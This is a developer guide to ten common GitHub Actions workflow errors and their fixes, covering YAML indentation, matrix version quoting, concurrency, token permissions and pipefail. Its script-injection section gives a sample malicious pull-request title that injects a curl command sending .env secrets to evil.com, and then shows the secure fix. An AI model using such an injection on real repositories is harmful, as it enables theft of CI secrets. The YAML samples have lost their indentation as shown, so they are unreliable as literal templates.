GitHub Actions has become the standard CI/CD automation engine for modern software engineering teams. However, because workflow pipelines are configured via YAML files in .github/workflows/, subtle indentation discrepancies, context expression evaluation rules, matrix combinatorial explosions, and silent secret masking errors frequently cause pipeline failures and long feedback loops.
This guide explores the 10 most common GitHub Actions workflow errors, their underlying mechanics, and production-tested solutions to keep your CI/CD pipelines green and deterministic.
1. Syntax & Indentation Mismatches in Step Definitions
YAML uses strict space indentation. A single stray tab or inconsistent two-space vs four-space alignment breaks workflow parsing before jobs even queue.
The Bug: Misaligned uses or run Blocks
# ❌ INVALID YAML:
jobs:
build:
runs-on: ubuntu-latest
steps:
- name: Checkout Code
uses: actions/checkout@v4
- name: Setup Node
uses: actions/setup-node@v4 # ❌ Indented under steps list rather than list item
The Fix
Ensure all step attributes (uses, with, run, env, if) align directly beneath the - name: list item or under the list dash:
# ✅ VALID YAML:
jobs:
build:
runs-on: ubuntu-latest
steps:
- name: Checkout Code
uses: actions/checkout@v4
- name: Setup Node
uses: actions/setup-node@v4
with:
node-version: '20'
2. Expression Syntax Traps: ${{ }} vs Raw Expressions in if: Conditions
One of the most frequent misconceptions in GitHub Actions involves the if: conditional key.
- Inside
if:blocks, GitHub Actions treats the value as an expression automatically. Wrapping expressions in${{ ... }}is unnecessary and can cause syntax or parsing anomalies when combining logical operators (&&,||,!).
# ❌ Unidiomatic / Error-prone:
if: ${{ github.event_name == 'push' && success() }}
# ✅ Clean & Idiomatic:
if: github.event_name == 'push' && success()
Note: Inside
run:shell commands orwith:parameters, the${{ }}wrapper is required for variable expansion!
3. The github.event Payload Type Coercion Bug
Values in github.event objects (like issue numbers, PR descriptions, or custom webhook JSON) can be strings, numbers, or null.
- When evaluating pull request labels or branch names, checking
if: github.event.pull_request.head.ref == 'main'can crash if the workflow is triggered by an event type that lacks apull_requestcontext (e.g.workflow_dispatchorschedule). - The Fix: Use safe property navigation or the
contains()function:
if: github.event.pull_request && github.event.pull_request.draft == false
4. Unquoted Matrix Values Coerced to Floating-Point Numbers
In YAML 1.1, values like 1.10, 1.20, or 1.30 without quotes are interpreted as floating-point numbers 1.1, 1.2, and 1.3. When testing multiple Python or Node.js versions:
# ❌ BUG: '3.10' is parsed as number 3.1 (testing Python 3.1 instead of 3.10!)
strategy:
matrix:
python-version: [3.8, 3.9, 3.10, 3.11]
# ✅ FIX: Quote every version string explicitly
strategy:
matrix:
python-version: ['3.8', '3.9', '3.10', '3.11']
5. Script Injection via Unsanitized ${{ ... }} in run: Steps
Inserting untrusted GitHub context variables directly into a shell script creates a critical security vulnerability:
# ❌ CRITICAL SECURITY VULNERABILITY:
- name: Echo PR Title
run: echo "PR title is: ${{ github.event.pull_request.title }}"
If an attacker opens a PR with the title:
Fix bug"; curl https://evil.com/exfil?token=$(cat .env); echo "
The shell will execute the attacker's injected command.
The Fix: Pass Context Variables via Environment Variables
# ✅ SECURE: Passed via environment variables, immune to shell injection
- name: Echo PR Title
env:
PR_TITLE: ${{ github.event.pull_request.title }}
run: echo "PR title is: $PR_TITLE"
6. Matrix Combinatorial Explosion & Resource Exhaustion
Defining multiple matrix dimensions without constraints spawns a Cartesian product of jobs:
strategy:
matrix:
os: [ubuntu-latest, macos-latest, windows-latest] # 3
node: ['18', '20', '22'] # 3
browser: [chromium, firefox, webkit] # 3
# Total jobs = 3 * 3 * 3 = 27 concurrent runners!
- The Fix: Use
max-parallel,exclude, orincludeto control matrix breadth:
strategy:
max-parallel: 4
matrix:
os: [ubuntu-latest, macos-latest, windows-latest]
node: ['20']
include:
- os: ubuntu-latest
node: '18'
- os: ubuntu-latest
node: '22'
7. Race Conditions & Duplicate Runs: Canceling Outdated Workflows
When developers push rapid commits to a Pull Request branch, older running CI workflows waste runner minutes and can lead to deployment race conditions.
- The Fix: Configure a
concurrencyblock withcancel-in-progress: true:
concurrency:
group: ${{ github.workflow }}-${{ github.ref }}
cancel-in-progress: true
8. Missing GITHUB_TOKEN Permissions (403 Resource not accessible)
Modern GitHub repositories enforce least-privilege defaults. If your action publishes a release, comments on a PR, or pushes a Git tag, it will fail with 403 Forbidden unless granted explicit permissions in the workflow:
permissions:
contents: read # default read access
pull-requests: write # required to comment on PRs
packages: write # required to push to GitHub Container Registry
id-token: write # required for AWS/GCP OIDC authentication
9. Secret Masking & Empty Secret Failures
If a referenced secret (${{ secrets.API_KEY }}) is missing from the repository settings, GitHub Actions silently interpolates an empty string "" rather than failing fast.
- The Fix: Add a verification step to assert required secrets early:
- name: Verify Environment Secrets
run: |
if [ -z "${{ secrets.DEPLOY_API_KEY }}" ]; then
echo "::error::DEPLOY_API_KEY secret is not set!"
exit 1
fi
10. Multi-line Bash Scripts Terminating Silently
By default, bash steps execute with set -e (exiting on first error). However, piped commands like curl http://api.com/data | jq . can have the left-hand command fail while jq returns exit code 0.
- The Fix: Explicitly set
pipefail:
- name: Run Script with Pipefail
shell: bash
run: |
set -euo pipefail
curl -fsSL https://api.example.com/data | jq .status
Frequently Asked Questions
How do I validate a GitHub Actions YAML file before committing?
You can use the GitHub Actions YAML Validator on DevFlow to check workflow syntax, expressions, and schema structure instantly in your browser.
Why do multiline YAML strings (| vs >) behave differently in run:?
|(Literal block scalar): Preserves newlines verbatim—ideal for multiline bash scripts.>(Folded block scalar): Replaces newlines with spaces—ideal for single long commands or commit messages.